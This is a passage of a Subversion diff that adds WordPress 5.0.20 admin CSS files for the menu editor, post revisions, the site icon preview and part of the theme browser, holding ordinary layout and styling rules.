+}
+
+.no-js.nav-menus-php .item-edit .screen-reader-text {
+	position: static;
+	-webkit-clip-path: none;
+	clip-path: none;
+	width: auto;
+	height: auto;
+	margin: 0;
+}
+
+.nav-menus-php .item-edit:before {
+	margin-top: 10px;
+	margin-left: 4px;
+	width: 20px;
+	border-radius: 50%;
+	text-indent: -1px; /* account for the dashicon alignment */
+}
+
+.no-js.nav-menus-php .item-edit:before {
+	display: none;
+}
+
+.rtl .nav-menus-php .item-edit:before {
+	text-indent: 1px; /* account for the dashicon alignment */
+}
+
+.js.nav-menus-php .item-edit:focus {
+	box-shadow: none;
+}
+
+.nav-menus-php .item-edit:focus:before {
+	box-shadow:
+		0 0 0 1px #5b9dd9,
+		0 0 2px 1px rgba(30, 140, 190, .8);
+}
+
+/* Menu editing */
+.menu-instructions-inactive {
+	display: none;
+}
+
+.menu-item-settings {
+	display: block;
+	width: 402px;
+	padding: 10px 0 10px 10px;
+	position: relative;
+	z-index: 10; /* Keep .item-title's shadow from appearing on top of .menu-item-settings */
+	border: 1px solid #e5e5e5;
+	border-top: none;
+	box-shadow: 0 1px 1px rgba(0,0,0,0.04);
+}
+
+.menu-item-settings .field-move {
+	margin: 3px 0 5px;
+	line-height: 1.5;
+}
+
+.field-move-visual-label {
+	float: left;
+	margin-right: 4px;
+	font-style: italic;
+}
+
+.menu-item-settings .field-move .button-link {
+	display: none;
+	margin: 0 2px;
+	font-style: italic;
+}
+
+.menu-item-edit-active .menu-item-settings {
+	display: block;
+}
+
+.menu-item-edit-inactive .menu-item-settings {
+	display: none;
+}
+
+.add-menu-item-pagelinks {
+	margin: .5em -10px;
+	text-align: center;
+}
+
+.add-menu-item-pagelinks .page-numbers {
+	display: inline-block;
+	min-width: 20px;
+}
+
+.add-menu-item-pagelinks .page-numbers.dots {
+	min-width: 0;
+}
+
+.link-to-original {
+	display: block;
+	margin: 0 0 15px;
+	padding: 3px 5px 5px;
+	border: 1px solid #ddd;
+	color: #72777c;
+	font-size: 12px;
+	font-style: italic;
+}
+
+.link-to-original a {
+	padding-left: 4px;
+	font-style: normal;
+}
+
+.hidden-field {
+	display: none;
+}
+
+.menu-item-settings .description-thin,
+.menu-item-settings .description-wide {
+	margin-right: 10px;
+	float: left;
+}
+
+.description-thin {
+	width: 190px;
+}
+
+.description-wide {
+	width: 390px;
+}
+
+.menu-item-actions {
+	padding-top: 15px;
+	padding-bottom: 7px;
+}
+
+#cancel-save {
+	cursor: pointer;
+}
+
+/* Major/minor publishing actions (classes) */
+.nav-menus-php .major-publishing-actions {
+	clear: both;
+	padding: 10px 0;
+	line-height: 28px;
+}
+
+.nav-menus-php .major-publishing-actions .publishing-action {
+	text-align: right;
+	float: right;
+}
+
+.nav-menus-php .blank-slate .menu-settings {
+	display: none;
+}
+
+/* Same as the Publish Meta Box #delete-action */
+.nav-menus-php .delete-action {
+	float: left;
+	line-height: 28px;
+}
+
+.nav-menus-php .major-publishing-actions .form-invalid {
+	padding-left: 4px;
+	margin-left: -4px;
+}
+
+#nav-menus-frame,
+.button-controls,
+#menu-item-url-wrap,
+#menu-item-name-wrap {
+	display: block;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+@media only screen and (min-width: 769px) and (max-width: 1000px){
+	body.menu-max-depth-0 {
+		min-width: 0 !important;
+	}
+
+	#menu-management-liquid{
+		width: 100%;
+	}
+
+	.nav-menus-php #post-body-content{
+		min-width: 0;
+	}
+
+	.menu-item-bar .menu-item-handle{
+		width: 90%;
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	body.nav-menus-php,
+	body.wp-customizer {
+		min-width: 0 !important;
+	}
+
+	#nav-menus-frame {
+		margin-left: 0;
+		float: none;
+		width: 100%;
+	}
+
+	#wpbody-content #menu-settings-column {
+		display: block;
+		width: 100%;
+		float: none;
+		margin-left: 0;
+	}
+
+	#side-sortables .add-menu-item-tabs {
+		margin: 15px 0 14px;
+	}
+
+	ul.add-menu-item-tabs li.tabs {
+		padding: 13px 15px 14px;
+	}
+
+	.nav-menus-php .customlinkdiv .howto input {
+		width: 65%;
+	}
+
+	.nav-menus-php .quick-search {
+		width: 85%;
+	}
+
+	#menu-management-liquid {
+		margin-top: 25px;
+	}
+
+	.nav-menus-php .menu-name-label.howto span {
+		margin-top: 13px
+	}
+
+	#menu-name {
+		width: 100%;
+	}
+
+	.nav-menus-php .major-publishing-actions .publishing-action {
+		padding-top: 1em;
+	}
+
+	.nav-menus-php .delete-action {
+		font-size: 14px;
+		line-height: 30px;
+	}
+
+	.menu-item-bar .menu-item-handle,
+	.menu-item-settings,
+	.description-wide {
+		width: auto;
+	}
+
+	.menu-item-settings {
+		padding: 10px;
+	}
+
+	.menu-item-settings .description-thin,
+	.menu-item-settings .description-wide {
+		width: 100%;
+	}
+
+	.menu-item-settings input {
+		width: 100%;
+	}
+
+	.menu-item-settings input[type="checkbox"],
+	.menu-item-settings input[type="radio"] {
+		width: 25px;
+	}
+
+	.menu-settings-group {
+		padding-left: 0;
+	}
+
+	.menu-settings-group-name {
+		float: none;
+		width: auto;
+		margin-left: 0;
+		margin-bottom: 15px;
+	}
+
+	.menu-settings-input {
+		float: none;
+		margin-bottom: 15px;
+	}
+
+	.menu-edit .checkbox-input {
+		margin-top: 0;
+	}
+
+	.manage-menus select {
+		margin: 0.5em 0;
+	}
+
+	.widefat .menu-locations .menu-location-title {
+		padding-top: 16px;
+	}
+}
+
+@media only screen and (max-width: 768px) {
+	/* menu locations */
+	#menu-locations-wrap .widefat {
+		width: 100%;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/revisions.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/revisions.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/revisions.css	(revision 56912)
@@ -0,0 +1,575 @@
+/*------------------------------------------------------------------------------
+  11.2 - Post Revisions
+------------------------------------------------------------------------------*/
+.revisions-control-frame,
+.revisions-diff-frame {
+	position: relative;
+}
+
+.revisions-controls {
+	padding-top: 40px;
+	height: 100px;
+	z-index: 1;
+}
+
+.revisions-controls input[type="checkbox"] {
+	position: relative;
+	top: -1px;
+	vertical-align: text-bottom;
+}
+
+.revisions.pinned .revisions-controls {
+	position: fixed;
+	top: 0;
+	height: 82px;
+	background: #fff;
+	box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+}
+
+.revisions-tickmarks {
+	position: relative;
+	margin: 0 auto;
+	height: 0.7em;
+	top: 7px;
+	max-width: 70%;
+	box-sizing: border-box;
+	background-color: #fff;
+}
+
+.revisions-tickmarks > div {
+	position: absolute;
+	height: 100%;
+	border-left: 1px solid #a0a5aa;
+	box-sizing: border-box;
+}
+
+.revisions-tickmarks > div:first-child {
+	border-width: 0;
+}
+
+.comparing-two-revisions .revisions-controls {
+	height: 140px;
+}
+
+.comparing-two-revisions.pinned .revisions-controls {
+	height: 124px;
+}
+
+.revisions .diff-error {
+	position: absolute;
+	text-align: center;
+	margin: 0 auto;
+	width: 100%;
+	display: none;
+}
+
+.revisions.diff-error .diff-error {
+	display: block;
+}
+
+.revisions .loading-indicator {
+	position: absolute;
+	vertical-align: middle;
+	opacity: 0;
+	width: 100%;
+	width: calc( 100% - 30px );
+	top: 50%;
+	top: calc( 50% - 10px );
+	transition: opacity 0.5s;
+	filter: alpha(opacity=0); /* ie8 and earlier */
+}
+
+body.folded .revisions .loading-indicator {
+	margin-left: -32px;
+}
+
+.revisions .loading-indicator span.spinner {
+	display: block;
+	margin: 0 auto;
+	float: none;
+}
+
+.revisions.loading .loading-indicator {
+	opacity: 1;
+	filter: alpha(opacity=100); /* ie8 and earlier */
+}
+
+.revisions .diff {
+	transition: opacity 0.5s;
+}
+
+.revisions.loading .diff {
+	opacity: 0.5;
+	filter: alpha(opacity=50); /* ie8 and earlier */
+}
+
+.revisions.diff-error .diff {
+	visibility: hidden;
+}
+
+.revisions-meta {
+	margin-top: 20px;
+	background-color: #fff;
+	box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+}
+
+.revisions.pinned .revisions-meta {
+	box-shadow: none;
+}
+
+.revision-toggle-compare-mode {
+	position: absolute;
+	top: 0;
+	right: 0;
+}
+
+.comparing-two-revisions .revisions-previous,
+.comparing-two-revisions .revisions-next,
+.revisions-meta .diff-meta-to strong {
+	display: none;
+}
+
+.revisions-controls .author-card .date {
+	color: #72777c;
+}
+
+.revisions-controls .author-card.autosave {
+	color: #d54e21;
+}
+
+.revisions-controls .author-card .author-name {
+	font-weight: 600;
+}
+
+.comparing-two-revisions .diff-meta-to strong {
+	display: block;
+}
+
+.revisions.pinned .revisions-buttons {
+	padding: 0 11px;
+}
+
+.revisions-previous,
+.revisions-next {
+	position: relative;
+	z-index: 1;
+}
+
+.revisions-previous {
+	float: left;
+}
+
+.revisions-next {
+	float: right;
+}
+
+.revisions-controls .wp-slider {
+	max-width: 70%;
+	margin: 0 auto;
+	top: -3px;
+}
+
+.revisions-diff {
+	padding: 15px;
+	background-color: #fff;
+	box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+}
+
+.revisions-diff h3:first-child {
+	margin-top: 0;
+}
+
+/* Revision meta box */
+.post-revisions li img,
+#revisions-meta-restored img {
+	vertical-align: middle;
+}
+
+table.diff tbody tr td:nth-child(2) {
+	width: 4%;
+}
+
+table.diff {
+	table-layout: fixed;
+	width: 100%;
+	white-space: pre-wrap;
+}
+
+table.diff col.content {
+	width: auto;
+}
+
+table.diff col.content.diffsplit {
+	width: 48%;
+}
+
+table.diff col.diffsplit.middle {
+	width: auto;
+}
+
+table.diff col.ltype {
+	width: 30px;
+}
+
+table.diff tr {
+	background-color: transparent;
+}
+
+table.diff td,
+table.diff th {
+	font-family: Consolas, Monaco, monospace;
+	font-size: 14px;
+	line-height: 1.618;
+	padding: .5em;
+	vertical-align: top;
+	word-wrap: break-word;
+}
+
+table.diff td h1,
+table.diff td h2,
+table.diff td h3,
+table.diff td h4,
+table.diff td h5,
+table.diff td h6 {
+	margin: 0;
+}
+
+table.diff .diff-deletedline del,
+table.diff .diff-addedline ins {
+	text-decoration: none;
+}
+
+table.diff .diff-deletedline {
+	background-color: #ffe9e9;
+}
+
+table.diff .diff-deletedline del {
+	background-color: #faa;
+}
+
+table.diff .diff-addedline {
+	background-color: #e9ffe9;
+}
+
+table.diff .diff-addedline ins {
+	background-color: #afa;
+}
+
+.diff-meta {
+	padding: 5px;
+	clear: both;
+	min-height: 32px;
+}
+
+.diff-title strong {
+	line-height: 32px;
+	min-width: 60px;
+	text-align: right;
+	float: left;
+	margin-right: 5px;
+}
+
+.revisions-controls .author-card .author-info {
+	font-size: 12px;
+	line-height: 16px;
+}
+
+.revisions-controls .author-card .avatar,
+.revisions-controls .author-card .author-info {
+	float: left;
+	margin-left: 6px;
+	margin-right: 6px;
+}
+
+.revisions-controls .author-card .byline {
+	display: block;
+	font-size: 12px;
+}
+
+.revisions-controls .author-card .avatar {
+	vertical-align: middle;
+}
+
+.diff-meta input.restore-revision {
+	float: right;
+	margin-left: 6px;
+	margin-right: 6px;
+	margin-top: 4px;
+}
+
+.diff-meta-from {
+	display: none;
+}
+
+.comparing-two-revisions .diff-meta-from {
+	display: block;
+}
+
+.revisions-tooltip {
+	position: absolute;
+	bottom: 105px;
+	margin-right: 0;
+	margin-left: -69px;
+	z-index: 0;
+	max-width: 350px;
+	min-width: 130px;
+	padding: 8px 4px;
+	display: none;
+	opacity: 0;
+}
+
+.revisions-tooltip.flipped {
+	margin-left: 0;
+	margin-right: -70px;
+}
+
+.revisions.pinned .revisions-tooltip {
+	display: none !important;
+}
+
+.comparing-two-revisions .revisions-tooltip {
+	bottom: 145px;
+}
+
+.revisions-tooltip-arrow {
+	width: 70px;
+	height: 15px;
+	overflow: hidden;
+	position: absolute;
+	left: 0;
+	margin-left: 35px;
+	bottom: -15px;
+}
+
+.revisions-tooltip.flipped .revisions-tooltip-arrow {
+	margin-left: 0;
+	margin-right: 35px;
+	left: auto;
+	right: 0;
+}
+
+.revisions-tooltip-arrow > span {
+	content: "";
+	position: absolute;
+	left: 20px;
+	top: -20px;
+	width: 25px;
+	height: 25px;
+	transform: rotate(45deg);
+}
+
+.revisions-tooltip.flipped .revisions-tooltip-arrow > span {
+	left: auto;
+	right: 20px;
+}
+
+.ie8 .revisions-tooltip-arrow > span {
+	left: 15px;
+	top: -25px;
+	-ms-filter: "progid:DXImageTransform.Microsoft.Matrix(SizingMethod='auto expand', M11=0.7071067811865476, M12=-0.7071067811865475, M21=0.7071067811865475, M22=0.7071067811865476)";
+}
+
+.ie8 .revisions-tooltip.flipped .revisions-tooltip-arrow > span {
+	right: 25px;
+}
+
+.revisions-tooltip,
+.revisions-tooltip-arrow > span {
+	border: 1px solid #ddd;
+	background-color: #fff;
+}
+
+.revisions-tooltip {
+	display: none;
+}
+
+.arrow {
+	width: 70px;
+	height: 16px;
+	overflow: hidden;
+	position: absolute;
+	left: 0;
+	margin-left: -35px;
+	bottom: 90px;
+	z-index: 10000;
+}
+
+.arrow:after {
+	z-index: 9999;
+	background-color: #fff;
+	box-shadow: 0 1px 3px rgba(0,0,0,0.1);
+}
+
+.arrow.top {
+	top: -16px;
+	bottom: auto;
+}
+
+.arrow.left {
+	left: 20%;
+}
+
+.arrow:after {
+	content: "";
+	position: absolute;
+	left: 20px;
+	top: -20px;
+	width: 25px;
+	height: 25px;
+	transform: rotate(45deg);
+}
+
+.revisions-tooltip,
+.revisions-tooltip-arrow:after {
+	border-width: 1px;
+	border-style: solid;
+}
+
+div.revisions-controls > .wp-slider > .ui-slider-handle {
+	margin-left: -10px;
+}
+
+.rtl div.revisions-controls > .wp-slider > .ui-slider-handle {
+	margin-right: -10px;
+}
+
+/* jQuery UI Slider */
+.wp-slider.ui-slider {
+	position: relative;
+	border: 1px solid #ddd;
+	text-align: left;
+	cursor: pointer;
+}
+
+.wp-slider .ui-slider-handle {
+	border-radius: 50%;
+	height: 18px;
+	margin-top: -5px;
+	outline: none;
+	padding: 2px;
+	position: absolute;
+	width: 18px;
+	z-index: 2;
+	touch-action: none;
+}
+
+.wp-slider .ui-slider-handle,
+.wp-slider .ui-slider-handle.focus {
+	background: #f7f7f7;
+	border: 1px solid #ccc;
+	box-shadow: 0 1px 0 #cccccc;
+}
+
+.wp-slider .ui-slider-handle:hover,
+.wp-slider .ui-slider-handle.ui-state-hover {
+	background: #fafafa;
+	border-color: #999;
+}
+
+.wp-slider .ui-slider-handle:active,
+.wp-slider .ui-slider-handle.ui-state-active {
+	background: #eee;
+	border-color: #999;
+ 	box-shadow: inset 0 2px 5px -3px rgba( 0, 0, 0, 0.5 );
+ 	transform: translateY(1px);
+}
+
+
+.wp-slider .ui-slider-handle:before {
+	background: none;
+	position: absolute;
+	top: 2px;
+	left: 2px;
+	color: #555;
+	content: "\f229";
+	font: normal 18px/1 dashicons;
+	speak: none;
+	-webkit-font-smoothing: antialiased;
+	-moz-osx-font-smoothing: grayscale;
+}
+
+.wp-slider .ui-slider-handle:hover:before,
+.wp-slider .ui-slider-handle.ui-state-hover:before {
+	color: #23282d;
+}
+
+.wp-slider .ui-slider-handle.from-handle:before,
+.wp-slider .ui-slider-handle.to-handle:before {
+	font-size: 20px !important;
+	margin: -1px 0 0 -1px;
+}
+
+.wp-slider .ui-slider-handle.from-handle:before {
+	content: "\f139";
+}
+
+.wp-slider .ui-slider-handle.to-handle:before {
+	content: "\f141";
+}
+
+.rtl .wp-slider .ui-slider-handle.from-handle:before {
+	content: "\f141";
+}
+
+.rtl .wp-slider .ui-slider-handle.to-handle:before {
+	content: "\f139";
+	right: -1px;
+}
+
+.wp-slider .ui-slider-range {
+	position: absolute;
+	font-size: .7em;
+	display: block;
+	border: 0;
+	background-color: transparent;
+	background-image: none;
+}
+
+.wp-slider.ui-slider-horizontal {
+	height: .7em;
+}
+
+.wp-slider.ui-slider-horizontal .ui-slider-handle {
+	top: -.25em;
+	margin-left: -.6em;
+}
+
+.wp-slider.ui-slider-horizontal .ui-slider-range {
+	top: 0;
+	height: 100%;
+}
+
+.wp-slider.ui-slider-horizontal .ui-slider-range-min {
+	left: 0;
+}
+
+.wp-slider.ui-slider-horizontal .ui-slider-range-max {
+	right: 0;
+}
+
+/* =Media Queries
+-------------------------------------------------------------- */
+
+/**
+ * HiDPI Displays
+ */
+@media print,
+  (-webkit-min-device-pixel-ratio: 1.25),
+  (min-resolution: 120dpi) {
+	.revision-tick.completed-false {
+		background-image: url(../images/spinner-2x.gif);
+	}
+}
+
+@media screen and ( max-width: 782px ) {
+	#diff-next-revision,
+	#diff-previous-revision {
+		margin-top: -1em;
+	}
+
+	table.diff {
+		-ms-word-break: break-all;
+		word-break: break-all;
+		word-wrap: break-word;
+	}
+}
Index: /tags/5.0.20/src/wp-admin/css/site-icon.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/site-icon.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/site-icon.css	(revision 56912)
@@ -0,0 +1,54 @@
+/*------------------------------------------------------------------------------
+  28.0 - Site Icon
+------------------------------------------------------------------------------*/
+
+.site-icon-preview .favicon-preview {
+	margin: 5px 0 20px;
+	overflow: hidden;
+	position: relative;
+	max-width: 180px;
+}
+
+.site-icon-preview .favicon,
+.site-icon-preview .browser-title {
+	height: 16px;
+	left: 88px;
+	overflow: hidden;
+	position: absolute;
+	top: 16px;
+}
+
+.site-icon-preview .favicon {
+	width: 16px;
+}
+
+.site-icon-preview .browser-title {
+	left: 109px;
+	width: 72px;
+	white-space: nowrap;
+}
+
+.site-icon-preview .app-icon-preview {
+	background-color: #000;
+	border-radius: 16px;
+	height: 64px;
+	overflow: hidden;
+	width: 64px;
+	margin-top: 5px;
+}
+
+/* rtl:ignore */
+.site-icon-preview .favicon,
+.site-icon-preview .app-icon-preview {
+	direction: ltr;
+}
+
+.customize-control-site_icon .favicon-preview {
+	float: left;
+	margin-right: 12px;
+	margin-bottom: 0;
+}
+
+.customize-control-site_icon .app-icon-preview {
+	margin-top: 9px;
+}
Index: /tags/5.0.20/src/wp-admin/css/themes.css
===================================================================
--- /tags/5.0.20/src/wp-admin/css/themes.css	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/css/themes.css	(revision 56912)
@@ -0,0 +1,1921 @@
+/*------------------------------------------------------------------------------
+  16.0 - Themes
+------------------------------------------------------------------------------*/
+
+
+/*------------------------------------------------------------------------------
+  16.1 - Manage Themes
+------------------------------------------------------------------------------*/
+
+body.js .theme-browser.search-loading {
+	display: none;
+}
+
+.theme-browser .themes {
+	clear: both;
+}
+
+.themes-php:not(.network-admin) .wrap h1 {
+	margin-bottom: 15px;
+}
+
+.themes-php .wrap h1 .button {
+	margin-left: 20px;
+}
+
+/* Search form */
+.themes-php .search-form {
+	display: inline;
+}
+
+.themes-php .wp-filter-search {
+	position: relative;
+	top: -2px;
+	left: 20px;
+	margin: 0;
+	width: 280px;
+	font-size: 16px;
+	font-weight: 300;
+	line-height: 1.5;
+}
+
+/* Position admin messages */
+.theme .notice,
+.theme .notice.is-dismissible {
+	left: 0;
+	margin: 0;
+	position: absolute;
+	right: 0;
+	top: 0;
+}
+
+/**
+ * Main theme element
+ * (has flexible margins)
+ */
+.theme-browser .theme {
+	cursor: pointer;
+	float: left;
+	margin: 0 4% 4% 0;
+	position: relative;
+	width: 30.6%;
+	border: 1px solid #ddd;
+	box-shadow: 0 1px 1px -1px rgba(0,0,0,0.1);
+	box-sizing: border-box;
+}
+
+.ie8 .theme-browser .theme {
+	width: 30%;
+	margin: 0 3% 4% 0;
+}
+
+.theme-browser .theme:nth-child(3n) {
+	margin-right: 0;
+}
+
+.theme-browser .theme:hover,
+.theme-browser .theme:focus {
+	cursor: pointer;
+}
+
+.theme-browser .theme .theme-name {
+	font-size: 15px;
+	font-weight: 600;
+	height: 18px;
+	margin: 0;
+	padding: 15px;
+	box-shadow: inset 0 1px 0 rgba(0,0,0,0.1);
+	overflow: hidden;
+	white-space: nowrap;
+	text-overflow: ellipsis;
+	background: #fff;
+	background: rgba(255,255,255,0.65);
+}
+
+/* Activate and Customize buttons, shown on hover and focus */
+.theme-browser .theme .theme-actions {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
+	opacity: 0;
+	transition: opacity 0.1s ease-in-out;
+	height: auto;
+	background: rgba(244, 244, 244, 0.7);
+	border-left: 1px solid rgba(0,0,0,0.05);
+}
+
+.theme-browser .theme:hover .theme-actions,
+.theme-browser .theme.focus .theme-actions,
+.theme-browser .theme:focus .theme-actions {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
+	opacity: 1;
+}
+
+.theme-browser .theme .theme-actions .button-primary {
+	margin-right: 3px;
+}
+
+.theme-browser .theme .theme-actions .button {
+	float: none;
+	margin-left: 3px;
+}
+
+/**
+ * Theme Screenshot
+ *
+ * Has a fixed aspect ratio of 1.5 to 1 regardless of screenshot size
+ * It is also responsive.
+ */
+.theme-browser .theme .theme-screenshot {
+	display: block;
+	overflow: hidden;
+	position: relative;
+	-webkit-backface-visibility: hidden; /* Prevents flicker of the screenshot on hover. */
+	transition: opacity 0.2s ease-in-out;
+}
+
+.theme-browser .theme .theme-screenshot:after {
+	content: "";
+	display: block;
+	padding-top: 66.66666%; /* using a 3/2 aspect ratio */
+}
+
+.theme-browser .theme .theme-screenshot img {
+	height: auto;
+	position: absolute;
+	left: 0;
+	top: 0;
+	width: 100%;
+	transition: opacity 0.2s ease-in-out;
+}
+
+.theme-browser .theme:hover .theme-screenshot,
+.theme-browser .theme:focus .theme-screenshot {
+	background: #fff;
+}
+
+.theme-browser.rendered .theme:hover .theme-screenshot img,
+.theme-browser.rendered .theme:focus .theme-screenshot img {
+	opacity: 0.4;
+}
+
+.theme-browser .theme .more-details {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)";
+	opacity: 0;
+	position: absolute;
+	top: 35%;
+	right: 20%;
+	left: 20%;
+	background: #23282d;
+	background: rgba(0,0,0,0.7);
+	color: #fff;
+	font-size: 15px;
+	text-shadow: 0 1px 0 rgba(0,0,0,0.6);
+	-webkit-font-smoothing: antialiased;
+	font-weight: 600;
+	padding: 15px 12px;
+	text-align: center;
+	border-radius: 3px;
+	transition: opacity 0.1s ease-in-out;
+}
+
+.theme-browser .theme:focus {
+	border-color: #5b9dd9;
+	box-shadow: 0 0 2px rgba( 30, 140, 190, 0.8 );
+}
+
+.theme-browser .theme:focus .more-details {
+	opacity: 1;
+}
+
+/* Current theme needs to have its action always on view */
+.theme-browser .theme.active:focus .theme-actions {
+	display: block;
+}
+
+.theme-browser.rendered .theme:hover .more-details,
+.theme-browser.rendered .theme:focus .more-details {
+	-ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=100)";
+	opacity: 1;
+}
+
+/**
+ * The currently active theme
+ */
+.theme-browser .theme.active .theme-name {
+	background: #23282d;
+	color: #fff;
+	padding-right: 110px;
+	font-weight: 300;
+	box-shadow: inset 0 1px 1px rgba(0,0,0,0.5);
+}
+
+.theme-browser .customize-control .theme.active .theme-name {
+	padding-right: 15px;
+}
+
+.theme-browser .theme.active .theme-name span {
+	font-weight: 600;
+}
+
+.theme-browser .theme.active .theme-actions {
+	background: rgba(49,49,49,0.7);
+	border-left: none;
+	opacity: 1;
+}
+
+.theme-id-container {
+	position: relative;
+}
+
+.theme-browser .theme.active .theme-actions,
+.theme-browser .theme .theme-actions {
+	position: absolute;
+	top: 50%;
+	transform: translateY(-50%);
+	right: 0;
+	padding: 10px 15px;
+	box-shadow: inset 0 1px 0 rgba(0,0,0,0.1);
+}
+
+.theme-browser .theme.active .theme-actions .button-primary {
+	margin-right: 0;
+}
+
+.theme-browser .theme .theme-author {
+	background: #23282d;
+	color: #eee;
+	display: none;
+	font-size: 14px;
+	margin: 0 10px;
+	padding: 5px 10px;
+	position: absolute;
+	bottom: 56px;
+}
+
+.theme-browser .theme.display-author .theme-author {
+	display: block;
+}
+
+.theme-browser .theme.display-author .theme-author a {
+	color: inherit;
+	text-decoration: none;
+}
+
+/**
+ * Add new theme
+ */
+.theme-browser .theme.add-new-theme {
+	border: none;
+	box-shadow: none;
+}
+
+.theme-browser .theme.add-new-theme a {
+	text-decoration: none;
+	display: block;
+	position: relative;
+	z-index: 1;
+}
+
+.theme-browser .theme.add-new-theme a:after {
+	display: block;
+	content: "";
+	background: transparent;
+	background: rgba(0, 0, 0, 0);
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	bottom: 0;
+	padding: 0;
+	text-shadow: none;
+	border: 5px dashed #d5d2ca;
+	border: 5px dashed rgba(0, 0, 0, 0.1);
+	box-sizing: border-box;
+}
+
+.theme-browser .theme.add-new-theme span:after {
+	background: #e5e5e5;
+	background: rgba(153, 153, 153, 0.1);
+	border-radius: 50%;
+	display: inline-block;
+	content: "\f132";
+	-webkit-font-smoothing: antialiased;
+	font: normal 74px/115px dashicons;
+	width: 100px;
+	height: 100px;
+	vertical-align: middle;
+	text-align: center;
+	color: rgb(153, 153, 153);
+	position: absolute;
+	top: 30%;
+	left: 50%;
+	margin-left: -50px;
+	text-indent: -4px;
+	padding: 0;
+	text-shadow: none;
+	z-index:4;
+}
+
+.rtl .theme-browser .theme.add-new-theme span:after {
+	text-indent: 4px;
+}
+
+.theme-browser .theme.add-new-theme a:hover .theme-screenshot,
+.theme-browser .theme.add-new-theme a:focus .theme-screenshot {
+	background: none;
+}
+
+.theme-browser .theme.add-new-theme a:hover span:after,
+.theme-browser .theme.add-new-theme a:focus span:after {
+	background: #fff;
+	color: #0073aa;
+}
+
+.theme-browser .theme.add-new-theme a:hover:after,
+.theme-browser .theme.add-new-theme a:focus:after {
+	border-color: transparent;
+	color: #fff;
+	background: #0073aa;
+	content: "";
+}
+
+.theme-browser .theme.add-new-theme .theme-name {
+	background: none;
+	text-align: center;
+	box-shadow: none;
+	font-weight: 400;
+	position: relative;
+	top: 0;
+	margin-top: -18px;
+	padding-top: 0;
+	padding-bottom: 48px;
+}
+
+.theme-browser .theme.add-new-theme a:hover .theme-name,
+.theme-browser .theme.add-new-theme a:focus .theme-name {
+	color: #fff;
+	z-index: 2;
+}
+
+/**
+ * Theme Overlay
+ * Shown when clicking a theme
+ */
+.theme-overlay .theme-backdrop {
+	position: absolute;
+	left: -20px;
+	right: 0;
+	top: 0;
+	bottom: 0;
+	background: #f1f1f1;
+	background: rgba( 238, 238, 238, 0.9 );
+	z-index: 10000; /* Over WP Pointers. */
+}
+
+.theme-overlay .theme-header {
+	position: absolute;
+	top: 0;
+	left: 0;
+	right: 0;
+	height: 48px;
+	border-bottom: 1px solid #ddd;
+}
+
+.theme-overlay .theme-header button {
+	padding: 0;
+}
+
+.theme-overlay .theme-header .close {
+	cursor: pointer;
+	height: 48px;
+	width: 50px;
+	text-align: center;
+	float: right;
+	border: 0;
+	border-left: 1px solid #ddd;
+	background-color: transparent;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.theme-overlay .theme-header .close:before {
+	font: normal 22px/50px dashicons !important;
+	color: #72777c;
+	display: inline-block;
+	content: "\f335";
+	font-weight: 300;
+}
+
+/* Left and right navigation */
+.theme-overlay .theme-header .right,
+.theme-overlay .theme-header .left {
+	cursor: pointer;
+	color: #72777c;
+	background-color: transparent;
+	height: 48px;
+	width: 54px;
+	float: left;
+	text-align: center;
+	border: 0;
+	border-right: 1px solid #ddd;
+	transition: color .1s ease-in-out, background .1s ease-in-out;
+}
+
+.theme-overlay .theme-header .close:focus,
+.theme-overlay .theme-header .close:hover,
+.theme-overlay .theme-header .right:focus,
+.theme-overlay .theme-header .right:hover,
+.theme-overlay .theme-header .left:focus,
+.theme-overlay .theme-header .left:hover {
+	background: #ddd;
+	border-color: #ccc;
+	color: #000;
+}
+
+.theme-overlay .theme-header .close:focus:before,
+.theme-overlay .theme-header .close:hover:before {
+	color: #000;
+}
+
+.theme-overlay .theme-header .close:focus,
+.theme-overlay .theme-header .right:focus,
+.theme-overlay .theme-header .left:focus {
+    box-shadow: none;
+    outline: none;
+}
+
+.theme-overlay .theme-header .left.disabled,
+.theme-overlay .theme-header .right.disabled,
+.theme-overlay .theme-header .left.disabled:hover,
+.theme-overlay .theme-header .right.disabled:hover {
+	color: #ccc;
+	background: inherit;
+	cursor: inherit;
+}
+
+.theme-overlay .theme-header .right:before,
+.theme-overlay .theme-header .left:before {
+	font: normal 20px/50px dashicons !important;
+	display: inline;
+	font-weight: 300;
+}
+
+.theme-overlay .theme-header .left:before {
+	content: "\f341";
+}
+
+.theme-overlay .theme-header .right:before {
+	content: "\f345";
+}
+
+.theme-overlay .theme-wrap {
+	clear: both;
+	position: fixed;
+	top: 9%;
+	left: 190px;
+	right: 30px;
+	bottom: 3%;
+	background: #fff;
+	box-shadow: 0 1px 20px 5px rgba(0, 0, 0, 0.1);
+	z-index: 10000; /* Over WP Pointers. */
+	box-sizing: border-box;
+	-webkit-overflow-scrolling: touch;
+}
+
+body.folded .theme-browser ~ .theme-overlay .theme-wrap {
+	left: 70px;
+}
+
+.theme-overlay .theme-about {
+	position: absolute;
+	top: 49px;
+	bottom: 57px;
+	left: 0;
+	right: 0;
+	overflow: auto;
+	padding: 2% 4%;
+}
+
+.theme-overlay .theme-actions {
+	position: absolute;
+	text-align: center;
+	bottom: 0;
+	left: 0;
+	right: 0;
+	padding: 10px 25px 5px;
+	background: #f3f3f3;
+	z-index: 30;
+	box-sizing: border-box;
+	border-top: 1px solid #eee;
+}
+
+.ie8 .theme-overlay .theme-actions {
+	border: 1px solid #eee;
+}
+
+.theme-overlay .theme-actions a {
+	margin-right: 5px;
+	margin-bottom: 5px;
+}
+
+/* Hide-if-customize for items we can't add classes to */
